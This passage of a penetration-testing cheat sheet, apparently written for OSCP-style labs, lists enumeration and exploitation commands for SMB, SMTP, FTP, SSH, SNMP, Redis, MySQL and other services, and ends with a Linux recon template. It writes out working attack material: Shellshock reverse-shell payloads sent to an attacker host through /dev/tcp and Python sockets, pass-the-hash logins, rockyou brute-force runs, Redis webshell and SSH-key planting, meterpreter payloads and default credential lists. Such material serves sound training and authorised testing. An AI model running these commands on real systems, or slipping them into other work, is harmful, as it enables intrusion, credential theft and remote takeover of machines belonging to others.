files, and listing shares and permissions. Hashes work. Code execution doesn't work. ``` smbmap -u '' -p '' -H $ip # similar to crackmapexec --shares smbmap -u guest -p '' -H $ip smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -r # list top level dir smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -R # list everything recursively smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '.*' # download everything recursively in the wwwroot share to /usr/share/smbmap. great when smbclient doesnt work smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -x whoami # no work ``` {% hint style="success" %} Ippsec using this tool\ {% endhint %} generally works a bit better than enum4linux as it enum4linux tends to error out a bit {% hint style="info" %} downloads to the `/usr/share/smbmap` directory {% endhint %} ``` smb: \> RECURSE ON smb: \> PROMPT OFF smb: \> mget * ``` #### Download all ``` smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q #downloads a file in quiet mode ``` ``` smbmap -R $sharename -H $ip #Recursively list dirs, and files ``` ``` smbmap -H $ip ``` default port it checks is 445, use -P 139 to point it at that port if 445 fails ### **smbclient** Access SMB shares interactively, seems to work with anonymous access. Hashes don't work. ``` smbclient //$ip/wwwroot smbclient //$ip/C$ WIN20082017 -U Administrator smbclient //$ip/C$ A433F6C2B0D8BB92D7288ECFFACFC7CD -U Administrator --pw-nt-hash # make sure to only use the NT portion of the hash ``` WARNING, be careful when using the `get` command to download absolute path files from the remote system. Eg. `get /etc/passwd` will download the passwd file and overwrite YOUR `/etc/passwd`. Use `get /etc/passwd /tmp/passwd` instead. To download recursively: ``` # Within smbclient, download everything recursively: mask "" recurse ON prompt OFF cd 'path\to\remote\dir' lcd '~/path/to/download/to/' mget * ``` **pth-winexe** Works great sometimes. Can open a windows cmd shell. ``` pth-winexe -U administrator%WIN20082017 //$ipcmd # using a plaintext password pth-winexe -U Administrator%A433F6C2B0D8BB92D7288ECFFACFC7CD //$ipcmd # ntlm hash encrypted with https://www.browserling.com/tools/ntlm-hash pth-winexe -U domain/user%A433F6C2B0D8BB92D7288ECFFACFC7CD //$ipcmd # domain user pth-winexe -U Administrator%8F49412C8D29DF02FB62879E33FBB745:A433F6C2B0D8BB92D7288ECFFACFC7CD //$ip cmd # lm+ntlm hash encrypted with https://asecuritysite.com/encryption/lmhash pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:A433F6C2B0D8BB92D7288ECFFACFC7CD //$ip cmd # ntlm hash + empty lm hash # or export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896 pth-winexe -U Administrator% //$ip cmd ``` #### smbenum.sh ``` #!/bin/bash #SMB Enumeration using nmap #(c) Mike Digital Offensive if [ -z "$1" ] then echo "Error please provide host to enumerate" exit else nmap -script=smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse $1 fi ``` ### Samba version checker #### smbver.sh ``` #!/bin/sh #Author: rewardone #Description: # Requires root or enough permissions to use tcpdump # Will listen for the first 7 packets of a null login # and grab the SMB Version #Notes: # Will sometimes not capture or will print multiple # lines. May need to run a second time for success. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi if [ ! -z $2 ]; then rport=$2; else rport=139; fi tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` ``` nmblookup -A $ip ``` ``` enum4linux -a $ip ``` Used to enumerate data from Windows and Samba hosts and is a wrapper for `smbclient`, `rpcclient`, `net` and `nmblookup` {% hint style="info" %} Look for users, groups, shares, workgroup/domains and password policies {% endhint %} list smb nmap scripts ``` locate .nse | grep smb ``` ### find SAMBA version number using the SMB OS discovery script: ``` nmap -A $ip -p139 ``` then google to see if version is vulnerable ``` SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename ``` ### ![Use the GUI to browse and download ^ example above](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-Lln3alIOr4NN3ziQWGc%2F-Lln3efKcKUx6K2FFgXI%2Fimage.png?alt=media\&token=8d9868e9-5848-4301-8202-fa37ca6c1a57) #### Brute force login ``` medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv ``` ### RID Rid Enum is a RID cycling attack that attempts to enumerate user accounts through null sessions and the SID to RID enum. If you specify a password file, it will automatically attempt to brute force the user accounts when its finished enumerating. ``` https://tools.kali.org/maintaining-access/ridenum ``` ### Null Session A null SMB session can be used to gather passwords and useful information from SMB 1 by looking in shares that are not password protected for interesting files. Windows NT/2000 XP default settings allow this. Windows 2003/XP SP2 SMB this behaviour is disabled. #### Null session and extract information. ``` nbtscan -r $ip ``` #### Version ``` msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run ``` MultiExploit ``` msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run ``` #### Show all nmap SMB scripts ``` ls -ls /usr/share/nmap/scripts/smb* ``` Quick enum: ``` nmap --script=smb-enum* --script-args=unsafe=1 -T5 $ip ``` Quick vuln scan: ``` nmap --script=smb-vuln* --script-args=unsafe=1 -T5 $ip ``` Full enum and vuln scanning: ``` nmap --script=smb2-capabilities,smb-print-text,smb2-security-mode.nse,smb-protocols,smb2-time.nse,smb-psexec,smb2-vuln-uptime,smb-security-mode,smb-server-stats,smb-double-pulsar-backdoor,smb-system-info,smb-vuln-conficker,smb-enum-groups,smb-vuln-cve2009-3103,smb-enum-processes,smb-vuln-cve-2017-7494,smb-vuln-ms06-025,smb-enum-shares,smb-vuln-ms07-029,smb-enum-users,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-ls,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-os-discovery --script-args=unsafe=1 -T5 $ip ``` Full enum & vuln scan: ``` nmap -p139,445 -T4 -oN smb_vulns.txt -Pn --script 'not brute and not dos and smb-*' -vv -d $ip ``` Mount: ``` smbclient //$ip/share -U username ``` ``` smblclient -N -L \\$ip ``` Anonymous mount: ``` smbclient //$ip/share # hit enter with blank password ``` ### Eternal Blue Exploits a critical vulnerability in the SMBv1 protocol {% hint style="success" %} Worth testing Eternal blue - you might get lucky although (the system should be patched to fix this) {% endhint %} ### Vulnerable versions Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016 ``` nmap -p 445 $ip --script=smb-vuln-ms17-010 ``` Bruteforce ``` hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb ``` Any metasploit exploit through Netbios over TCP in 139, you need to set: ``` set SMBDirect false ``` ## NFS Show all mounts ``` showmount -e $ip ``` Mount a NFS share ``` mount $ip:/vol/share /mnt/nfs ``` Use nfspy to mount a share. Will get around permission errors ``` nfspysh -o server=$ip:/home/vulnix/ ``` ## ## Mysql ``` nmap -sV -Pn -vv --script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $ip -p 3306 ``` #### Nmap scan ``` nmap -sV -Pn -vv -script=mysql* $ip -p 3306 ``` #### Vuln scanning: ``` sqlmap -u 'http://$ip/login-off.asp' --method POST --data 'txtLoginID=admin&txtPassword=aa&cmdSubmit=Login' --all --dump-all ``` If Mysql is running as root and you have access, you can run commands: ``` mysql> select do_system('id'); mysql> \! sh ``` #### Enumerate MSSQL Servers on the network ``` msf > use auxiliary/scanner/mssql/mssql_ping nmap -sU --script=ms-sql-info $ip ``` #### Bruteforce MsSql ``` msf auxiliary(mssql_login) > use auxiliary/scanner/mssql/mssql_login ``` #### Gain shell using gathered credentials ``` msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp ``` #### Log in to a MsSql server: ``` # root@kali:~/dirsearch# cat ../.freetds.conf [someserver] host = $ip port = 1433 tds version = 8.0 user=sa root@kali:~/dirsearch# sqsh -S someserver -U sa -P PASS -D DB_NAME ``` {% content-ref url="/pages/-LSzDmzi3jtcSQsDVYY1" %} [SQL](/5-sql) {% endcontent-ref %} ## SMTP ### Things to remember: * Used to send mail * Always do users enumeration * Mail is stored (in linux) in /var/log/mail/username. If you have LFI maybe you can connect to mail server and input webshell. * `telnet $ip 25`\ `EHLO rowbot`\ `MAIL FROM:rowbot@test.com` \ `RCPT TO:$usernamehere`\ `DATA`\ `Subject: shell`\ ``\ `.`\ `quit` `symfonos:1 box` Completed machine with the above vulnerability: Symfonos:1 Commands\ ``` HELO It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name. EHLO An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol. MAIL FROM With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer. RCPT TO It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address. SIZE This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server. DATA With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission. VRFY The server is asked to verify whether a particular email address or username actually exists. TURN This command is used to invert roles between the client and the server, without the need to run a new connaction. AUTH With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission. RSET It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT). EXPN This SMTP command asks for a confirmation about the identification of a mailing list. HELP It’s a client’s request for some information that can be useful for the a successful transfer of the email. QUIT It terminates the SMTP conversation. ``` ``` for server in $(cat smtpmachines); do echo "******************" $server "*****************"; smtp-user-enum -M VRFY -U userlist.txt -t $server;done #for multiple servers ``` ``` smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $ip smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t $ip smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt -t $ip > smtpuserenum then grep exists ``` ``` use auxiliary/scanner/smtp/smtp_enum ``` Python script ``` #!/usr/bin/python import socket import sys if len(sys.argv) != 2: print "Usage: vrfy.py " sys.exit(0) # Create a Socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to the Server connect = s.connect(('192.168.1.234',25)) # Receive the banner banner = s.recv(1024) print banner # VRFY a user s.send('VRFY ' + sys.argv[1] + '\r\n') result = s.recv(1024) print result # Close the socket s.close() ``` Command to check if a user exists ``` VRFY root ``` Command to ask the server if a user belongs to a mailing list ``` EXPN root ``` Enumeration and vuln scanning: ``` nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $ip ``` #### Bruteforces ``` hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V ``` #### Metasploit user enumeration ``` use auxiliary/scanner/smtp/smtp_enum ``` #### Testing for open relay ``` telnet $ip 25 EHLO root MAIL FROM:root@target.com RCPT TO:example@gmail.com DATA Subject: Testing open mail relay. Testing SMTP open mail relay. Have a nice day. . QUIT ``` ## RPC (135) #### Enumerate, shows if any NFS mount exposed: ``` rpcinfo -p $ip ``` Get a list of .exe's that are using either TCP UDP HTTP and SMB via named pipes ``` rpcdump.py $ip | grep .exe | awk '{print $2}' ``` ``` nmap $ip --script=msrpc-enum ``` ``` msf > use exploit/windows/dcerpc/ms03_026_dcom ``` ## FTP enumeration #### Enumerate: ``` nmap --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 $ip ``` {% hint style="warning" %} If anonymous login or any other login is allowed but you can't get Filezilla to open it. Play about with the connection settings, ACTIVE\PASSIVE\AUTO. {% endhint %} #### Bruteforce ``` hydra -l user -P /usr/share/john/password.lst ftp://$ip:21 ``` #### Bruteforce with metasploit ``` msfconsole -q msf> search type:auxiliary login: msf> use auxiliary/scanner/ftp/ftp_login ``` #### Vuln scan ``` nmap --script=ftp-* -p 21 $ip ``` ### TFTP If unauthenticated access is allowed with write permissions you can upload a shell: ``` tftp $ip tftp> ls ?Invalid command tftp> verbose Verbose mode on. tftp> put shell.php Sent 3605 bytes in 0.0 seconds [inf bits/sec] ``` ``` nmap -sU -p 69 --script tftp-enum.nse $ip ``` or ``` use auxiliary/scanner/tftp/tftpbrute ``` `connecting/interacting:` \ `tftp $ip`\ `tftp> put payload.exe` \ `tftp> get file.txt` ## SSH #### User enumeration ``` use auxiliary/scanner/ssh/ssh_enumusers set user_file /usr/share/wordlists/metasploit/unix_users.txt or set user_file /usr/share/seclists/Usernames/Names/names.txt run ``` ``` python /usr/share/exploitdb/exploits/linux/remote/40136.py -U /usr/share/wordlists/metasploit/unix_users.txt $ip ``` If you see the following message, it likely means that scp ``` PTY allocation request failed on channel 0 ``` #### Bruteforce ``` hydra -v -V -l root -P password-file.txt $ip ssh ``` #### With list of users: ``` hydra -v -V -L user.txt -P /usr/share/wordlists/rockyou.txt -t 16 192.168.33.251 ssh ``` * You can use **-w** to slow down ## SSL #### Open a connection ``` openssl s_client -connect $ip:443 ``` #### Basic SSL ciphers check ``` nmap --script ssl-enum-ciphers -p 443 $ip ``` * Look for unsafe ciphers such as Triple-DES and Blowfish * Very complete tool for SSL auditing is testssl.sh, finds BEAST, FREAK, POODLE, heart bleed, etc... ## SNMP ### Enumeration enumerate Community strings ``` ./onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.11.1.73 ``` {% hint style="danger" %} Community string too long\ If you see this download onesixtyone from Github and run it there {% endhint %} #### v1 ``` snmp-check -t $ip -c public ``` use nmap to enumerate info ``` nmap -sU -p161 --script "snmp-*" $ip ``` ### snmpwalk ``` apt install snmp-mibs-downloader #translates MIBs into readable format ``` ``` for community in public private manager; do snmpwalk -c $community -v1 $ip; done snmpwalk -c public -v1 $ip snmpenum $ip public windows.txt ``` Less noisy: ``` snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25 ``` Based on UDP, stateless and susceptible to UDP spoofing ``` nmap -sU --open -p 16110.1.1.1-254 -oG out.txt ``` ``` snmpwalk -c public -v1 10.1.1.1 # we need to know that there is a community called public snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25 # enumerate windows users snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.2 # enumerates running processes ``` ``` nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes $ip ``` ## POP3 ### Test authentication: ``` telnet $ip 110 USER uer@$ip PASS admin list retr 1 ``` ## Finger ### port 79 ``` https://touhidshaikh.com/blog/?p=914 ``` ### **Find Logged in users on target.** ``` finger @$ip if there is no user logged in this will show no username ``` #### **Check User is existed or not.** ``` finger $username@$ip ``` The finger command is very useful for checking users on target but it’s painful if brute-forced for a username. ### Using Metasploit fo Brute-force target ``` use auxiliary/scanner/finger/finger_users set rhosts $ip set users_file run ``` ``` cd /tmp/ wget http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz tar -xvf finger-user-enum-1.0.tar.gz cd finger-user-enum-1.0 perl finger-user-enum.pl -t 10.22.1.11 -U /tmp/rockyou-top1000.txt ``` ## RDP Install RDP nmap scripts ``` https://fadedlab.wordpress.com/2019/06/13/using-nmap-to-extract-windows-info-from-rdp/amp/ ``` ``` nmap -p 3389 --script rdp-ntlm-info $ip ``` #### Bruteforce ``` ncrack -vv --user administrator -P password-file.txt rdp://$ip ``` ``` hydra -t 4 -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip ``` ## Kerberos Test MS14-068 ## Redis ### Shell First, the web server on the server broadcasts, including a simple PHP code and create a back door, which will help us to execute commands on the server. ``` CONFIG SET dir /var/www/html/ CONFIG SET dbfilename shell.php CONFIG GET dbfilename 1) "dbfilename" 2) "shell.php" SET cmd "" OK BGSAVE ``` which can be accessed using ``` http://$ip/shell.php?cmd=whoami www-data ``` ### Upload SSH key Second, file type found in the users home directory because it is our right and remote SSH access with a key instead of using the password used to connect to create key, they may be directly un-encrypted user rights that provide access to the system. ``` 1: ssh-keygen -t rsa 2: 3: (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key 4: 5: cat auth_key | redis-cli -h hostname -x set crackit 6: redis-cli -h hostname 7: 8: config set dir /root/.ssh/ 9: config get dir 10: config set dbfilename "authorized_keys" 11: save 12: 13: config set dir /home/user/.ssh/ 14: save 15: 16: config set dir /home/admin/.ssh/ 17: 18: ssh user@kevgir -p 1322 -i id_rsa ``` 1 - He has given parameters in line with a 2048-bit RSA key pair is generated. We can give it a password when we log in 3 - The public key of his own and to receive the new line last line auth\_key name we are writing a new file. We will upload this file to the target machine via the Redis server. 5 and 6. data from the key input in the standard line that we say we do, and then take the memory contents auth\_key entry Redis server. 8, 9, 10, 11 in which the location of the file content to be installed in the line number, which is stated to be added to the bottom of the file. SAVE transactions made by the commands are processed on the server side to make it happen. 13 and 16 lines in the root of the same process that we have done for other users in order to gain access with the privileges they also inside the ssh folder in the main folder authorized\_keys are doing the same procedure for writing to file. ## LDAP #### Enumeration: ``` ldapsearch -h $ip -p 389 -x -b "dc=mywebsite,dc=com" ``` ## Email addresses enumeration Find emails in google, bing, pgp etc ``` theharvester -d $ip -b google ``` Contact information for the domains they host ``` whois $ip ``` Find emails and employee name with Recon-ng: ``` recon-ng; use module; set DOMAIN $ip; run; recon/contacts/gather/http/api/whois_pocs ``` Find xss published ad xssed.co ``` recon/hosts/enum/http/web/xssed ``` Find subdomain ``` recon/hosts/gather/http/web/google_site ``` Finds IPs close to the domain and possible new domains ``` recon/hosts/gather/http/web/ip_neighbor ``` Google search * site:xxx -site:[www.xxx](http://www.xxx) * filetype: look for specific documents, pdf, docx, etc.. * inurl * intitle * Others ### nmap has many vulnerability scanning NSE scripts in /usr/share/nmap/scripts/ OpenVAS * Powerful vulnerability scanner with thousands of scan checks. Setup: ``` openvas-setup; openvas-adduser; gsd ``` ## Well known exploits ### Shellshock The following tool will test it. ``` git clone https://github.com/nccgroup/shocker; cd shocker; ./shocker.py -H $ip --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose; ./shocker.py -H $ip --command "/bin/cat /etc/passwd" -c /cgi-bin/admin.cgi --verbose ``` You can also: ``` echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc $ip 80 ``` ``` curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" $ip/cgi-bin/status ``` ``` curl -H "UserAgent: () { :; }; /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.123\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" http://$ip/cgi-bin/test.sh ``` Shellshock over SSH: ``` ssh username@$ip '() { :;}; /bin/bash' ``` Exploit shellshock via curl, use -k switch to force curl to bypass any SSL warnings. Replace the bash command with anything. ``` curl http://192.168.123.123/path/to/cgi- bin/name_of_vuln_cgi -H "custom:() { ignored; }; /bin/bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1 " ``` ### HeartBleed Test web server ``` sslscan $ip:443 ``` ### Internet explorer 6 Vulnerable to msf exploit(ms10\_002\_aurora) ## Tunneling your traffic through another host * ``` sshuttle -r root@$ip 10.10.10.0/24 ``` ### Port forwarding Simplest type of traffic redirection, consists on accepting traffic from one address and port port and redirecting it to another address and port. It can be useful to bypass address and port based filters. Rinetd is a linux tool to do it. ### Local port forwarding Creates an encrypted tunnel through two machines and have traffic redirected to a final host and port, similar to port forwarding This is useful when you are trying to connect from your machine to a destination using a gateway. The syntax is: ``` ssh gateway_host -L local_port:remote_host:remote_port ``` You can later create a SSH session to the local port and have and SSH tunneled to destination: ``` ssh hop_machine -L 31337:banned_machine:22 ssh -p 31337 localhost ``` ### Remote port forwarding It creates a tunnel from the target machine to your local machine, which allows connecting to an arbitrary port on the target. Useful if the target is in a non-routable network from your local machine. This is useful when you are trying to connect to a host, behind a firewall that blocks incoming connections. This technique works as the previous one, but the connection is started from the gateway. The syntax is: ``` ssh -R :: ``` ### Dynamic Port Forwarding Allows to create a tunnel from the target to your machine, and have the traffic routed to any host through target. You can configure a local port to forward traffic to multiple destinations passing through a single host. It is similar to local port forwarding but allows multiple destinations. It uses the SOCKS protocol. The syntax is: ``` ssh -D local_port remote_add ``` The connection of the previous command is established at port 22 of remote addr. ### Pivoting 1\. drop 3proxy.exe 2\. Set up a config file: ``` allow *_ internal IP_SAME_NETWORK external IP_OTHER_NETWORK socks -p1081 ``` 3\. Add to **/etc/proxychains.conf**: ``` socks4 IP_SAME_NETWORK 1081 ``` 4\. Scan: ``` proxychains nmap -sT -Pn IP_OTHER_NETWORK-250 --top-ports=5 ``` ### Double-pivoting Pivoting through two different networks: First, create a dynamic port forwarding through the first network: ``` ssh -f -N -D 9050 root@10.1.2.1 ``` Edit **/etc/proxychains.conf** and add as default gateway: ``` socks4 127.0.0.1 9050 ``` Use the proxy to create a second dynamic port forward to the second network: ``` proxychains ssh -f -N -D 10050 root@10.1.2.1 -p 22 ``` Edit again **/etc/proxychains.conf** and add as default gateway: ``` socks4 127.0.0.1 10050 ``` * You can now use proxychains to pivot to the target network: ``` proxychains nmap -sTV -n -PN 10.1.2.1 -254 ``` ## CVEs * ``` http://www.cvedetails.com/ https://www.exploit-db.com/ ``` ## Word Lists * ``` /usr/share/seclists/ /usr/share/wordlist/ /usr/share/metasploit-framework/data/wordlists/ ``` Minimal web server * ``` for i in 1 2 3 4 5 6 7; do echo -e '200 OK HTTP/1.1\r\nConnection:close\r\n\r\nfoo\r\n' |nc -q 0 -klvvp 80; done ``` ## ## Proxy Protocols ``` http:// http:// connect:// sock4:// sock5:// ``` # Linux https\://github.com/xapax/oscp/blob/master/templates/linux-template.md ### Info-sheet * DNS-Domain name: * Host name: * OS: * Server: * Kernel: * Workgroup: * Windows domain: Services and ports: INSERTTCPSCAN ### Recon ``` Always start with a stealthy scan to avoid closing ports. # Syn-scan nmap -sS INSERTIPADDRESS # Scan all ports, might take a while. nmap INSERTIPADDRESS -p- # Service-version, default scripts, OS: nmap INSERTIPADDRESS -sV -sC -O -p 111,222,333 # Scan for UDP nmap INSERTIPADDRESS -sU unicornscan -mU -v -I INSERTIPADDRESS # Connect to udp if one is open nc -u INSERTIPADDRESS 48772 # Monster scan nmap INSERTIPADDRESS -p- -A -T4 -sC ``` #### Port 21 - FTP * FTP-Name: * FTP-version: * Anonymous login: INSERTFTPTEST ``` nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 INSERTIPADDRESS ``` #### Port 22 - SSH * Name: * Version: * Takes-password: * If you have usernames test login with username:username INSERTSSHCONNECT ``` nc INSERTIPADDRESS 22 ``` #### Port 25 * Name: * Version: * VRFY: INSERTSMTPCONNECT ``` nc -nvv INSERTIPADDRESS 25 HELO foo telnet INSERTIPADDRESS 25 VRFY root nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 INSERTIPADDRESS ``` #### Port 69 - UDP - TFTP This is used for tftp-server. #### Port 110 - Pop3 * Name: * Version: INSERTPOP3CONNECT ``` telnet INSERTIPADDRESS 110 USER pelle@INSERTIPADDRESS PASS admin or: USER pelle PASS admin # List all emails list # Retrieve email number 5, for example retr 9 ``` #### Port 111 - Rpcbind ``` rpcinfo -p INSERTIPADDRESS ``` #### Port 135 - MSRPC Some versions are vulnerable. #### Port 143 - Imap #### Port 139/445 - SMB * Name: * Version: * Domain/workgroup name: * Domain-sid: * Allows unauthenticated login: ``` nmap --script=smb-enum-shares.nse,smb-ls.nse,smb-enum-users.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-security-mode.nse,smbv2-enabled.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse,smbv2-enabled.nse INSERTIPADDRESS -p 445 enum4linux -a INSERTIPADDRESS rpcclient -U "" INSERTIPADDRESS srvinfo enumdomusers getdompwinfo querydominfo netshareenum netshareenumall smbclient -L INSERTIPADDRESS smbclient //INSERTIPADDRESS/tmp smbclient \\\\INSERTIPADDRESS\\ipc$ -U john smbclient //INSERTIPADDRESS/ipc$ -U john ``` #### Port 161/162 UDP - SNMP ``` nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes INSERTIPADDRESS snmp-check -t INSERTIPADDRESS -c public ``` ``` # Common community strings public private community ``` #### Port 554 - RTSP #### Port 1030/1032/1033/1038 Used by RPC to connect in domain network. ### Port 1521 - Oracle * Name: * Version: * Password protected: ``` tnscmd10g version -h INSERTIPADDRESS tnscmd10g status -h INSERTIPADDRESS ``` #### Port 2049 - NFS ``` showmount -e INSERTIPADDRESS If you find anything you can mount it like this: mount INSERTIPADDRESS:/ /tmp/NFS mount -t INSERTIPADDRESS:/ /tmp/NFS ``` #### Port 2100 - Oracle XML DB * Name: * Version: * Default logins: ``` sys:sys scott:tiger ``` Default passwords #### 3306 - MySQL * Name: * Version: ``` nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse INSERTIPADDRESS -p 3306 mysql --host=INSERTIPADDRESS -u root -p ``` #### Port 3339 - Oracle web interface * Basic info about web service (apache, nginx, IIS) * Server: * Scripting language: * Apache Modules: * IP-address: #### Port 80 - Web server * Server: * Scripting language: * Apache Modules: * IP-address: * Domain-name address: INSERTCURLHEADER * Web application (ex, wordpress, joomla, phpmyadmin) * Name: * Version: * Admin-login: ``` # Nikto nikto -h http://INSERTIPADDRESS # Nikto with squid proxy nikto -h INSERTIPADDRESS -useproxy http://INSERTIPADDRESS:4444 # CMS Explorer cms-explorer -url http://INSERTIPADDRESS -type [Drupal, WordPress, Joomla, Mambo] # WPScan (vp = Vulnerable Plugins, vt = Vulnerable Themes, u = Users) wpscan --url http://INSERTIPADDRESS wpscan --url http://INSERTIPADDRESS --enumerate vp wpscan --url http://INSERTIPADDRESS --enumerate vt wpscan --url http://INSERTIPADDRESS --enumerate u # Joomscan joomscan -u http://INSERTIPADDRESS joomscan -u http://INSERTIPADDRESS --enumerate-components # Get header curl -i INSERTIPADDRESS # Get everything curl -i -L INSERTIPADDRESS # Check for title and all links curl INSERTIPADDRESS -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//' # Look at page with just text curl INSERTIPADDRESS -s -L | html2text -width '99' | uniq # Check if it is possible to upload curl -v -X OPTIONS http://INSERTIPADDRESS/ curl -v -X PUT -d '' http://INSERTIPADDRESS/test/shell.php dotdotpwn.pl -m http -h INSERTIPADDRESS -M GET -o unix ``` **Nikto scan** INSERTNIKTOSCAN **Url brute force** ``` # Not recursive dirb http://INSERTIPADDRESS -r -o dirb-INSERTIPADDRESS.txt # Gobuster - remove relevant responde codes (403 for example) gobuster -u http://INSERTIPADDRESS -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e ``` INSERTDIRBSCAN **Default/Weak login** Search documentation for default passwords and test them ``` site:webapplication.com password ``` ``` admin admin admin password admin admin root root root admin root password root password admin username username ``` **LFI/RFI** ``` fimap -u "http://INSERTIPADDRESS/example.php?test=" # Ordered output curl -s http://INSERTIPADDRESS/gallery.php?page=/etc/passwd /root/Tools/Kadimus/kadimus -u http://INSERTIPADDRESS/example.php?page= ``` **SQL-Injection** ``` # Post ./sqlmap.py -r search-test.txt -p tfUPass # Get sqlmap -u "http://INSERTIPADDRESS/index.php?id=1" --dbms=mysql # Crawl sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3 ``` **Sql-login-bypass** * Open Burp-suite * Make and intercept a request * Send to intruder * Cluster attack. * Paste in sqlibypass-list () * Attack * Check for response length variation #### Password brute force - last resort ``` cewl ``` 